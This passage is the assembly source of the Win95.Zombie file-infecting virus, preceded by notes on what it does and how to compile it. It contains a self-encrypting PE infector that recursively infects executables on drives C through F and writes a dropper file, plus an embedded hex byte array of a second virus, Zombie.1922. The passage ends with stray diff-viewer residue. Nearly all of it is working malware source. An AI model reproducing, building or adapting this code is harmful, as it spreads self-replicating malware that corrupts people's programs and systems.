; of this segment section. After infecting the logical drive, the virus
; creates a dropper file ZSetUp.EXE in the root directory and assigns it
; ARCHIVE and SYSTEM attributes. In this file, Win95.Zombie plants a
; Zombie.1922 virus code. The virus contains a few text strings:
;
; Z0MBiE 1.01 (c) 1997
; My 2nd virii for mustdie
; Tnx to S.S.R.
;
; Z0MBiE`1668 v1.00 (c) 1997 Z0MBiE
; Tnx to S.S.R.
; ShadowRAM/Virtual Process Infector
; ShadowRAM Technology (c) 1996,97 Z0MBiE
;
; code................1398
; viriisize...........4584
; virtsize............8936
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm32 -ml -m5 -q -zn zombie.asm
; tlink32 -Tpe -c -x -aa zombie.obj,,, import32.lib
; pewrsec zombie.exe
;
; - -[ZOMBIE.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
.386
locals
jumps
.model flat
extrn ExitProcess:PROC
extrn MessageBoxA:PROC
kernel equ 0BFF70000H
FILE_ID equ 'Z0'
PORT_ID equ 'Z'
.data
sux db 'mustdie'
.code
start:
call codestart
lea ebp, [eax - 401000H]
lea edx, codestart[ebp]
cryptn equ (viriisize-decrsize+3) / 4
mov ecx, cryptn
@@1: neg dword ptr [edx]
xor dword ptr [edx], 12345678h
xorword equ dword ptr $-4
sub edx, -4
loop @@1
jmp codestart
align 4
decrsize equ $-start
codestart: lea ebp, [eax - 401000H]
sub eax, 12345678h
subme equ dword ptr $-4
push eax
call analizekernel
call first
in al, 81h
cmp al, PORT_ID
je exit_to_program
in al, 80h
cmp al, PORT_ID
je infect
mov al, PORT_ID
out 80h, al
call ExecExe
exit_to_program: ret
infect: mov al, -1
out 80h, al
; call _GetModuleHandleA
; push 9
; push eax
; call _SetPriorityClass
; infect windows directory
lea edx, infdir[ebp]
call getwindir
lea edx, infdir[ebp]
call setdir
call infectdir
; recursive infect
lea edx, drive_c[ebp]
call recinfect1st
call createsetup
lea edx, drive_d[ebp]
call recinfect1st
call createsetup
lea edx, drive_e[ebp]
call recinfect1st
call createsetup
lea edx, drive_f[ebp]
call recinfect1st
call createsetup
mov al, PORT_ID
out 81h, al
exit_to_mustdie: push -1
call _ExitProcess
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ subprograms ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
createsetup: lea edx, zsetup[ebp]
call createfile
lea edx, z[ebp]
mov ecx, z_size
call writefile
call closefile
ret
first: pop edi
mov byte ptr [edi-5], 0b9h ; mov ecx, xxxxxxxx
mov byte ptr start[ebp], 0b9h
call infectfile
jmp exit_to_mustdie
ExecExe: call _GetCommandLineA
SW_NORMAL equ 1
push SW_NORMAL
push eax
call _WinExec
ret
recinfect1st: call setdir
recinfect: call infectdir
lea eax, win32_data_thang[ebp]
push eax
lea eax, dirfiles[ebp]
push eax
call _FindFirstFileA
mov edi, eax
inc eax
jz @@nomorefiles
@@processfile: lea eax, fileattr[ebp]
mov al, [eax]
cmp al, 10h ; directory ?
jne @@findnext
lea edx, fullname[ebp]
cmp byte ptr [edx], '.'
je @@findnext
call setdir
push edi
lea edx, fullname[ebp]
call recinfect
pop edi
lea edx, prev_dir[ebp]
call setdir
@@findnext: lea eax, win32_data_thang[ebp]
push eax
push edi
call _FindNextFileA
or eax, eax
jnz @@processfile
@@nomorefiles: ret
nokerneldll:
nofunction:
exit: jmp $
analizekernel: mov esi, kernel
@@1: ; cmp esi, kernel + 040000h
; ja nokernelfunc
lea edi, kernel_sign[ebp]
mov ecx, kernel_sign_size
rep cmpsb
jne @@1
kernelfound: sub esi, kernel_sign_size
mov kernel_call[ebp], esi
mov esi, kernel
lodsw
cmp ax, 'ZM'
jne nokerneldll
add esi, 003Ch-2
lodsd
lea esi, [esi + eax - 3ch - 4]
lodsd
cmp eax, 'EP'
jne nokerneldll
add esi, 78h-4 ; esi=.edata
lodsd
add eax, kernel + 10h
xchg esi, eax
lodsd
lodsd
lodsd
mov funcnum[ebp], eax
lodsd
add eax, kernel
mov entrypointptr[ebp], eax
lodsd
add eax, kernel
mov nameptr[ebp], eax
lodsd
add eax, kernel
mov ordinalptr[ebp], eax
lea edx, names[ebp]
lea edi, fns[ebp]
@@1: push edi
call findfunction
pop edi
inc edi ; 68
stosd
add edi, 6 ; jmp kernel_call[ebp]
mov edx, esi
cmp byte ptr [esi], 0
jne @@1
ret
findfunction: mov ecx, 12345678h
funcnum equ dword ptr $-4
xor ebx, ebx
findnextfunc: mov esi, edx
mov edi, [ebx + 12345678h]
nameptr equ dword ptr $-4
add edi, kernel
@@2: cmpsb
jne @@1
cmp byte ptr [esi-1], 0
jne @@2
; found
shr ebx, 1
movzx eax, word ptr [ebx + 12345678h]
ordinalptr equ dword ptr $-4
shl eax, 2
mov eax, [eax + 12345678h]
entrypointptr equ dword ptr $-4
add eax, kernel
ret
@@1: add ebx, 4
loop findnextfunc
jmp nofunction
infectdir: lea eax, win32_data_thang[ebp]
push eax
lea eax, exefiles[ebp]
push eax
call _FindFirstFileA
mov searchhandle[ebp], eax
inc eax
jz @@exit
@@next: call infectfile
lea eax, win32_data_thang[ebp]
push eax
push 12345678h
searchhandle equ dword ptr $-4
call _FindNextFileA
or eax, eax
jnz @@next
@@exit: ret
; input: ECX=file attr
; EDX=file
; output: EAX=handle
openfile: push 0
push ecx
push 3 ; OPEN_EXISTING
push 0
push 0
push 80000000h + 40000000h
push edx
call _CreateFileA
mov handle[ebp], eax
ret
; input: EDX=file
; output: EAX=handle
createfile: push 0
push ecx
push 1 ; CREATE
push 0
push 0
push 80000000h + 40000000h
push edx
call _CreateFileA
mov handle[ebp], eax
ret
seekfile: push 0
push 0
push edx
push handle[ebp]
call _SetFilePointer
ret
closefile: push handle[ebp]
call _CloseHandle
ret
; input: ECX=bytes to read
; EDX=buf
readfile: push 0
lea eax, bytesread[ebp]
push eax
push ecx
push edx
push handle[ebp]
call _ReadFile
ret
; input: ECX=bytes to read
; EDX=buf
writefile: push 0
lea eax, bytesread[ebp]
push eax
push ecx
push edx
push handle[ebp]
call _WriteFile
ret
; input: EDX=offset directory (256 byte)
getdir: cld
push edx
push 255
call _GetCurrentDirectoryA
ret
; input: EDX=directory
setdir: push edx
call _SetCurrentDirectoryA
ret
getwindir: cld
push 255
push edx
call _GetWindowsDirectoryA
ret
infectfile: in al, 82h
cmp al, PORT_ID
jne @@continue
lea eax, fullname[ebp]
cmp dword ptr [eax], 'BM0Z'
jne @@exit
@@continue: mov ecx, fileattr[ebp]
lea edx, fullname[ebp]
call openfile
inc eax
jz @@exit
; goto the dword that stores the location of the pe header
mov edx, 3Ch
call seekfile
; read in the location of the pe header
mov ecx, 4
lea edx, peheaderoffset[ebp]
call readfile
; goto the pe header
mov edx, peheaderoffset[ebp]
call seekfile
; read in enuff to calculate the full size of the pe header and object table
mov ecx, 256
lea edx, peheader[ebp]
call readfile
; make sure it is a pe header and is not already infected
cmp dword ptr peheader[ebp],'EP'
jne @@close
cmp word ptr peheader[ebp] + 4ch, FILE_ID
je @@close
cmp dword ptr peheader[ebp] + 52, 00400000h
jne @@close
; go back to the start of the pe header
mov edx, peheaderoffset[ebp]
call seekfile
; read in the whole pe header and object table
lea edx, peheader[ebp]
mov ecx, headersize[ebp]
cmp ecx, maxbufsize
ja @@close
call readfile
mov word ptr peheader[ebp] + 4ch, FILE_ID
; locate offset of object table
xor eax, eax
mov ax, NtHeaderSize[ebp]
add eax, 18h
mov objecttableoffset[ebp],eax
; calculate the offset of the last (null) object in the object table
mov esi, objecttableoffset[ebp]
lea eax, peheader[ebp]
add esi, eax
xor eax, eax
mov ax, numObj[ebp]
mov ecx, 40
xor edx, edx
mul ecx
add esi, eax
inc numObj[ebp] ; inc the number of objects
lea edi, newobject[ebp]
xchg edi,esi
; calculate the Relative Virtual Address (RVA) of the new object
mov eax, [edi-5*8+8]
add eax, [edi-5*8+12]
mov ecx, objalign[ebp]
xor edx,edx
div ecx
inc eax
mul ecx
mov RVA[ebp], eax
; calculate the physical size of the new object
mov ecx, filealign[ebp]
mov eax, viriisize
xor edx, edx
div ecx
inc eax
mul ecx
mov physicalsize[ebp],eax
; calculate the virtual size of the new object
mov ecx, objalign[ebp]
mov eax, virtsize
xor edx,edx
div ecx
inc eax
mul ecx
mov virtualsize[ebp],eax
; calculate the physical offset of the new object
mov eax,[edi-5*8+20]
add eax,[edi-5*8+16]
mov ecx, filealign[ebp]
xor edx,edx
div ecx
inc eax
mul ecx
mov physicaloffset[ebp],eax
; update the image size (the size in memory) of the file
mov eax, virtsize
add eax, imagesize[ebp]
mov ecx, objalign[ebp]
xor edx, edx
div ecx
inc eax
mul ecx
mov imagesize[ebp],eax
; copy the new object into the object table
mov ecx, 40/4
rep movsd
; calculate the entrypoint RVA
mov eax, RVA[ebp]
mov ebx, entrypointRVA[ebp]
mov entrypointRVA[ebp], eax
sub eax, ebx
; Set the value needed to return to the host
mov subme[ebp], eax
; go back to the start of the pe header
mov edx, peheaderoffset[ebp]
call seekfile
; write the pe header and object table to the file
mov ecx, headersize[ebp]
lea edx, peheader[ebp]
call writefile
; move to the physical offset of the new object
mov edx, physicaloffset[ebp]
call seekfile
; write the virus code to the new object
call random
mov xorword[ebp], eax
lea edx, start[ebp]
mov ecx, decrsize
call writefile
lea esi, codestart[ebp]
lea edi, buf[ebp]
mov ecx, cryptn
@@1: lodsd
xor eax, xorword[ebp]
neg eax
stosd
loop @@1
lea edx, buf[ebp]
mov ecx, viriisize-decrsize
call writefile
@@close: call closefile
@@exit: ret
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 32-bit random number generator ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; output: eax=rnd
; zf=rnd(2)
random: call random16bit
shl eax, 16
random16bit: push ebx
mov bx, 1234h
rndword equ word ptr $-2
in al, 40h
xor bl, al
in al, 40h
add bh, al
in al, 41h
sub bl, al
in al, 41h
xor bh, al
in al, 42h
add bl, al
in al, 42h
sub bh, al
mov rndword[ebp], bx
xchg bx, ax
pop ebx
test al, 1
ret
; input: eax
; output: eax=rnd(eax)
; zf=rnd(2)
rnd: push ebx
push edx
xchg ebx, eax
call random
xor edx, edx
div ebx
xchg edx, eax
pop edx
pop ebx
test al, 1
ret
codesize equ $-start
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ data area ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
kernel_sign: pushfd ; <- kernel
cld
push eax
push ebx
push edx
kernel_sign_size equ $-kernel_sign
kernel_call dd ?
names: db 'ExitProcess',0
db 'FindFirstFileA',0
db 'FindNextFileA',0
db 'CreateFileA',0
db 'SetFilePointer',0
db 'ReadFile',0
db 'WriteFile',0
db 'CloseHandle',0
db 'GetCurrentDirectoryA',0
db 'SetCurrentDirectoryA',0
db 'GetWindowsDirectoryA',0
db 'GetCommandLineA',0
db 'WinExec',0
db 'SetPriorityClass',0
db 'GetModuleHandleA',0
db 0
fns:
def_fn macro name
_&name&: db 68h
fn_&name& dd ?
jmp kernel_call[ebp]
endm
def_fn ExitProcess
def_fn FindFirstFileA
def_fn FindNextFileA
def_fn CreateFileA
def_fn SetFilePointer
def_fn ReadFile
def_fn WriteFile
def_fn CloseHandle
def_fn GetCurrentDirectoryA
def_fn SetCurrentDirectoryA
def_fn GetWindowsDirectoryA
def_fn GetCommandLineA
def_fn WinExec
def_fn SetPriorityClass
def_fn GetModuleHandleA
bytesread dd ?
drive_c db 'C:\',0
drive_d db 'D:\',0
drive_e db 'E:\',0
drive_f db 'F:\',0
exefiles db '*.EXE',0
dirfiles db '*.',0
prev_dir db '..',0
win32_data_thang:
fileattr dd 0
createtime dd 0,0
lastaccesstime dd 0,0
lastwritetime dd 0,0
filesize dd 0,0
resv dd 0,0
fullname db 'Z0MB.EXE',256-8 dup (0)
realname db 256 dup (0)
handle dd ?
peheaderoffset dd ?
objecttableoffset dd ?
newobject: ;1234567 8
oname db '.Z0MBiE',0
virtualsize dd 0
RVA dd 0
physicalsize dd 0
physicaloffset dd 0
reserved dd 0,0,0
objectflags db 40h,0,0,0c0h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ messages ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
db 13,10,'Z0MBiE 1.01 (c) 1997',13,10
db 'My 2nd virii for mustdie',13,10
db 'Tnx to S.S.R.',13,10
m1 macro n
if n ge 100000
db n / 10000/10 mod 10 + '0'
else
db '.'
endif
if n ge 10000
db n / 10000 mod 10 + '0'
else
db '.'
endif
if n ge 1000
db n / 1000 mod 10 + '0'
else
db '.'
endif
db n / 100 mod 10 + '0'
db n / 10 mod 10 + '0'
db n / 1 mod 10 + '0',13,10
endm
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
zsetup db '\ZSetUp.EXE',0
z:
include z.inc ; Z0MBiE.1922
z_size equ $-z
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
db 13,10
db 'code..............'
m1 codesize
db 'viriisize.........'
m1 viriisize
db 'virtsize..........'
m1 virtsize
peheader:
signature dd 0
cputype dw 0
numObj dw 0
dd 3 dup (0)
NtHeaderSize dw 0
Flags dw 0
dd 4 dup (0)
entrypointRVA dd 0
dd 3 dup (0)
objalign dd 0
filealign dd 0
dd 4 dup (0)
imagesize dd 0
headersize dd 0
peheader_size equ $-peheader
align 4
viriisize equ $-start
infdir db 256 dup (?)
maxbufsize equ 4096
buf db maxbufsize dup (?)
virtsize equ $-start
end start
; - -[Z.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
abc_size equ 1922 ; size in bytes
abc_num equ 1922 ; size in elements
abc db 0e9h,010h,001h,026h,0a0h,028h,000h,0f6h,0d0h,02eh,030h,006h,022h,001h
db 0beh,02bh,001h,08bh,0feh,0b9h,008h,000h,02eh,0ach,040h,0d1h,0e3h,00bh,0d8h
db 0e2h,0f7h,02eh,088h,01dh,047h,081h,0ffh,0adh,008h,075h,0eah,0ebh,000h,0e8h
db 056h,006h,0b8h,081h,0f0h,0cdh,013h,03dh,08ch,092h,074h,003h,0e8h,0d8h,000h
db 08ch,0c1h,083h,0c1h,010h,0b8h,034h,012h,003h,0c1h,08eh,0d0h,0bch,034h,012h
db 0b8h,034h,012h,003h,0c1h,050h,068h,034h,012h,033h,0c0h,0cbh,053h,0bbh,034h
db 012h,0e4h,040h,032h,0d8h,0e4h,040h,002h,0f8h,0e4h,041h,02ah,0d8h,0e4h,041h
db 032h,0f8h,0e4h,042h,002h,0d8h,0e4h,042h,02ah,0f8h,02eh,089h,01eh,058h,001h
db 093h,05bh,0a8h,001h,0c3h,053h,052h,093h,0e8h,0d4h,0ffh,033h,0d2h,0f7h,0f3h
db 092h,05ah,05bh,0a8h,001h,0c3h,051h,0b1h,059h,0e8h,04eh,000h,02eh,088h,02eh
db 0afh,001h,041h,0e8h,045h,000h,02eh,088h,02eh,0b5h,001h,041h,0e8h,03ch,000h
db 02eh,088h,02eh,0bbh,001h,059h,0c3h,090h,051h,0b9h,059h,000h,0e8h,03ah,000h
db 041h,0b5h,012h,0e8h,034h,000h,041h,0b5h,012h,0e8h,02eh,000h,059h,0c3h,051h
db 0b1h,059h,02eh,08ah,02eh,0afh,001h,080h,0e5h,08fh,080h,0cdh,030h,0e8h,01bh
db 000h,041h,0b5h,033h,0e8h,015h,000h,041h,0b5h,033h,0e8h,00fh,000h,059h,0c3h
db 066h,050h,052h,0e8h,014h,000h,0ech,08ah,0e8h,05ah,066h,058h,0c3h,066h,050h
db 052h,0e8h,007h,000h,08ah,0c5h,0eeh,05ah,066h,058h,0c3h,066h,0b8h,000h,000h
db 000h,080h,08ah,0c1h,024h,0fch,0bah,0f8h,00ch,066h,0efh,080h,0c2h,004h,08ah
db 0c1h,024h,003h,002h,0d0h,0c3h,01eh,006h,00eh,01fh,0fah,0fch,0e8h,070h,0ffh
db 0a0h,0afh,001h,0feh,0c0h,074h,058h,0e8h,0b8h,000h,075h,053h,0e8h,053h,000h
db 074h,00bh,0e8h,074h,000h,074h,006h,0e8h,07ch,000h,074h,001h,0c3h,0e8h,086h
db 0ffh,0b8h,042h,000h,0e8h,03bh,0ffh,003h,0e8h,083h,0c5h,00fh,083h,0e5h,0f0h
db 0c1h,0edh,004h,08ch,0c0h,003h,0c5h,02dh,010h,000h,08eh,0c0h,0bfh,000h,001h
db 0c6h,006h,082h,008h,0eah,0c7h,006h,083h,008h,017h,003h,08ch,006h,085h,008h
db 08ch,006h,0b6h,005h,0beh,000h,001h,0b9h,007h,008h,0f3h,0a4h,0e8h,035h,003h
db 0e8h,032h,0ffh,033h,0c0h,007h,01fh,0c3h,068h,000h,0c0h,007h,033h,0ffh,032h
db 0d2h,026h,08ah,075h,002h,0d1h,0e2h,073h,002h,0b6h,080h,081h,0eah,069h,008h
db 033h,0c0h,08bh,0efh,0b9h,025h,004h,0f3h,0afh,074h,004h,03bh,0fah,076h,0f3h
db 0c3h,0b8h,030h,011h,0b7h,002h,0cdh,010h,08ch,0c0h,03dh,000h,0c0h,0c3h,068h
db 000h,0c0h,007h,033h,0ffh,0b9h,00eh,000h,032h,0c0h,0f3h,0aeh,075h,015h,0b9h
db 010h,000h,0f3h,0aeh,026h,081h,07dh,0ffh,07eh,081h,075h,008h,026h,081h,07dh
db 00dh,07eh,0ffh,074h,006h,081h,0ffh,000h,0f0h,076h,0dch,08bh,0efh,0c3h,0b4h
db 013h,0cdh,02fh,08ch,0c1h,02eh,089h,01eh,02bh,003h,02eh,08ch,006h,02dh,003h
db 0cdh,02fh,081h,0f9h,000h,0f0h,0c3h,03dh,081h,0f0h,074h,019h,03dh,000h,04bh
db 074h,00fh,080h,0fch,043h,074h,00ah,080h,0fch,03dh,074h,005h,0eah,000h,000h
db 000h,000h,0e8h,048h,000h,0ebh,0f6h,0b8h,08ch,092h,0cfh,03dh,081h,0f0h,074h
db 0f7h,0e8h,0a2h,0feh,0e8h,089h,002h,02eh,0a3h,05ch,005h,0e8h,082h,0feh,09ch
db 09ah,000h,000h,000h,000h,09ch,0e8h,08eh,0feh,02eh,080h,03eh,05dh,005h,002h
db 075h,00dh,026h,081h,03fh,04dh,05ah,075h,003h,0e8h,0e4h,001h,0e8h,012h,002h
db 0e8h,060h,002h,0e8h,05dh,0feh,09dh,0cah,002h,000h,09ch,02eh,0ffh,01eh,00ah
db 003h,0c3h,0e8h,065h,0feh,02eh,0c6h,006h,0abh,001h,0c3h,060h,01eh,006h,0fch
db 0b8h,000h,03dh,0e8h,0e6h,0ffh,00fh,082h,066h,001h,093h,0b4h,03fh,00eh,01fh
db 0bah,087h,008h,0b9h,040h,000h,0e8h,0d4h,0ffh,03bh,0c1h,00fh,085h,04dh,001h
db 0a1h,087h,008h,03dh,04dh,05ah,074h,007h,03dh,05ah,04dh,00fh,085h,03eh,001h
db 080h,03eh,099h,008h,069h,00fh,084h,035h,001h,0b8h,000h,042h,033h,0c9h,08bh
db 016h,08fh,008h,0c1h,0e2h,004h,0e8h,0a7h,0ffh,0b4h,03fh,0bah,0bdh,003h,0b9h
db 002h,000h,0e8h,09ch,0ffh,03bh,0c1h,00fh,085h,015h,001h,0b8h,034h,012h,040h
db 00fh,084h,00dh,001h,053h,0b8h,020h,012h,0cdh,02fh,026h,08ah,01dh,0b8h,016h
db 012h,0cdh,02fh,05bh,026h,08bh,055h,013h,026h,08bh,045h,011h,00ah,0c0h,00fh
db 084h,0f5h,000h,0b9h,0e8h,003h,0f7h,0f1h,00bh,0d2h,00fh,084h,0eah,000h,026h
db 0c7h,045h,002h,002h,000h,00eh,007h,0a1h,08bh,008h,048h,0b9h,000h,002h,0f7h
db 0e1h,003h,006h,089h,008h,083h,0d2h,000h,08bh,0f0h,08bh,0fah,0b8h,002h,042h
db 099h,033h,0c9h,0e8h,041h,0ffh,03bh,0c6h,00fh,085h,0bah,000h,03bh,0d7h,00fh
db 085h,0b4h,000h,005h,00fh,000h,083h,0d2h,000h,024h,0f0h,02bh,0f0h,029h,036h
db 089h,008h,050h,052h,0c1h,0e8h,004h,0c1h,0e2h,00ch,00bh,0c2h,02bh,006h,08fh
db 008h,02dh,010h,000h,08bh,0c8h,087h,00eh,09dh,008h,089h,00eh,04bh,001h,0b9h
db 003h,001h,087h,00eh,09bh,008h,089h,00eh,051h,001h,08bh,0c8h,087h,00eh,095h
db 008h,089h,00eh,041h,001h,0b9h,010h,00ah,087h,00eh,097h,008h,089h,00eh,048h
db 001h,081h,006h,091h,008h,0a1h,000h,083h,006h,08bh,008h,01eh,083h,006h,089h
db 008h,03bh,0c6h,006h,099h,008h,069h,0b8h,000h,042h,059h,05ah,0e8h,0cfh,0feh
db 0e8h,05dh,000h,0b4h,040h,0bah,000h,001h,0b9h,02bh,000h,0e8h,0c1h,0feh,0beh
db 02bh,001h,0bfh,0c7h,008h,0b9h,008h,000h,0ach,092h,0bdh,008h,000h,033h,0c0h
db 0d0h,0e2h,0d1h,0d0h,048h,0aah,04dh,075h,0f5h,0e2h,0eeh,0b4h,040h,0bah,0c7h
db 008h,0b9h,040h,000h,0e8h,09bh,0feh,081h,0feh,0adh,008h,072h,0d7h,0b8h,000h
db 042h,099h,033h,0c9h,0e8h,08ch,0feh,0b4h,040h,0bah,087h,008h,0b9h,040h,000h
db 0e8h,081h,0feh,0b4h,03eh,0e8h,07ch,0feh,007h,01fh,061h,02eh,0c6h,006h,0abh
db 001h,090h,0e8h,0c9h,0fch,0c3h,0bfh,084h,007h,0b0h,0c3h,0aah,0b9h,0fdh,000h
db 033h,0c0h,0f3h,0aah,0c7h,006h,007h,001h,0f6h,0d0h,0b0h,008h,0e6h,070h,0e4h
db 071h,03ch,00ah,075h,028h,0c7h,006h,007h,001h,0b0h,000h,0b8h,009h,000h,0e8h
db 070h,0fch,096h,06bh,0f6h,012h,081h,0c6h,0e2h,006h,0b9h,002h,000h,0adh,097h
db 081h,0c7h,084h,007h,0a4h,0adh,097h,081h,0c7h,084h,007h,066h,0a5h,0e2h,0efh
db 0c3h,060h,01eh,006h,033h,0f6h,08eh,0deh,0c4h,09ch,084h,000h,00bh,0dbh,074h
db 01eh,0b8h,081h,0f0h,0cdh,021h,03dh,08ch,092h,074h,014h,02eh,089h,01eh,00ah
db 003h,02eh,08ch,006h,00ch,003h,0c7h,084h,084h,000h,0f5h,002h,08ch,08ch,086h
db 000h,007h,01fh,061h,0c3h,060h,0bah,034h,012h,032h,0f6h,0c1h,0e2h,004h,08dh
db 07fh,00ch,0b9h,00ah,000h,032h,0c0h,0fch,0f3h,0aeh,075h,033h,0bdh,053h,006h
db 0b9h,00bh,000h,08bh,0f5h,08bh,0fbh,02eh,0ach,03ch,0b0h,074h,004h,03ch,080h
db 073h,005h,026h,038h,005h,075h,011h,047h,0e2h,0eeh,08bh,0fbh,0b0h,0e5h,0aah
db 033h,0c0h,0b9h,01fh,000h,0f3h,0aah,0ebh,009h,083h,0c5h,00bh,081h,0fdh,0e2h
db 006h,075h,0d0h,083h,0c3h,020h,04ah,075h,0bah,061h,0c3h,050h,056h,057h,01eh
db 006h,02eh,0c5h,036h,02bh,003h,068h,034h,012h,007h,0bfh,082h,008h,08ah,004h
db 026h,086h,005h,088h,004h,046h,047h,081h,0ffh,087h,008h,075h,0f1h,007h,01fh
db 05fh,05eh,058h,0c3h,00dh,00ah,00ah,05ah,030h,04dh,042h,069h,045h,060h,031h
db 036h,036h,038h,020h,076h,031h,02eh,030h,030h,020h,028h,063h,029h,020h,031h
db 039h,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,054h,06eh,078h
db 020h,074h,06fh,020h,053h,02eh,053h,02eh,052h,02eh,00dh,00ah,053h,068h,061h
db 064h,06fh,077h,052h,041h,04dh,02fh,056h,069h,072h,074h,075h,061h,06ch,020h
db 050h,072h,06fh,063h,065h,073h,073h,020h,049h,06eh,066h,065h,063h,074h,06fh
db 072h,00dh,00ah,053h,068h,061h,064h,06fh,077h,052h,041h,04dh,020h,054h,065h
db 063h,068h,06eh,06fh,06ch,06fh,067h,079h,020h,028h,063h,029h,020h,031h,039h
db 039h,036h,02ch,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,041h
db 044h,049h,04eh,046h,0f9h,0a3h,0a0h,0a2h,0adh,0aeh,041h,049h,044h,053h,0f9h
db 0afh,0aeh,0a3h,0a0h,0adh,0ech,041h,056h,050h,0f9h,0f9h,0e1h,0a0h,0aah,0e1h
db 0f9h,0f9h,057h,045h,042h,0f9h,0f9h,0e3h,0a9h,0aeh,0a1h,0aeh,0aah,044h,052h
db 057h,045h,042h,0f9h,0e2h,0aeh,0a6h,0a5h,0f9h,0f9h,0e5h,0e3h,0a9h,0adh,0efh
db 0f9h,0f9h,0b0h,0b0h,0b0h,0f9h,0a4h,0a5h,0e0h,0ech,0ach,0aeh,0f9h,043h,050h
db 050h,0adh,0a5h,0adh,0a0h,0a2h,0a8h,0a6h,0e3h,043h,020h,020h,053h,02dh,049h
db 043h,045h,0f9h,0e0h,0e3h,0abh,0a5h,0a7h,054h,044h,0f9h,0ach,0a0h,0e1h,0e2h
db 0f9h,0a4h,0a0h,0a9h,044h,045h,042h,055h,047h,0f9h,0f9h,0a3h,0e3h,0a4h,0f9h
db 057h,045h,042h,037h,030h,038h,030h,031h,0edh,0e2h,0aeh,043h,041h,0f9h,0ach
db 0aeh,0f1h,0f9h,0f9h,041h,056h,0f9h,015h,000h,01eh,051h,000h,0f1h,060h,01eh
db 009h,0bdh,000h,0a3h,0f7h,000h,0fah,005h,074h,00bh,006h,000h,0b4h,022h,000h
db 01eh,0f7h,0ebh,0f1h,0b3h,000h,080h,0dfh,000h,024h,016h,002h,03dh,032h,000h
db 01eh,05eh,000h,095h,025h,0b8h,001h,0c5h,000h,033h,0e1h,000h,0e9h,0c9h,004h
db 0b1h,03eh,000h,0fah,05ah,000h,00bh,04ch,013h,08bh,0cdh,000h,080h,0f9h,000h
db 07fh,0dfh,0e0h,059h,009h,000h,02eh,025h,000h,025h,0e5h,009h,0e8h,037h,000h
db 0e8h,063h,000h,0a4h,0f8h,002h,04bh,009h,000h,050h,025h,000h,025h,052h,084h
db 000h,043h,000h,080h,06fh,000h,04eh,09ah,044h,003h,01ah,000h,050h,046h,000h
db 0adh,0cbh,033h,0c0h,085h,000h,0a1h,0a1h,000h,01bh,0fdh,006h,0a3h,036h,000h
db 0b8h,052h,000h,05bh,0c6h,0e0h,050h,0b2h,000h,09ch,0deh,000h,04eh,0e3h,0c9h
db 08eh,007h,000h,08eh,023h,000h,083h,008h,0a2h,002h,0b3h,000h,091h,0dfh,000h
db 059h,0feh,015h,003h,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh

View File

@ -0,0 +1,872 @@
;
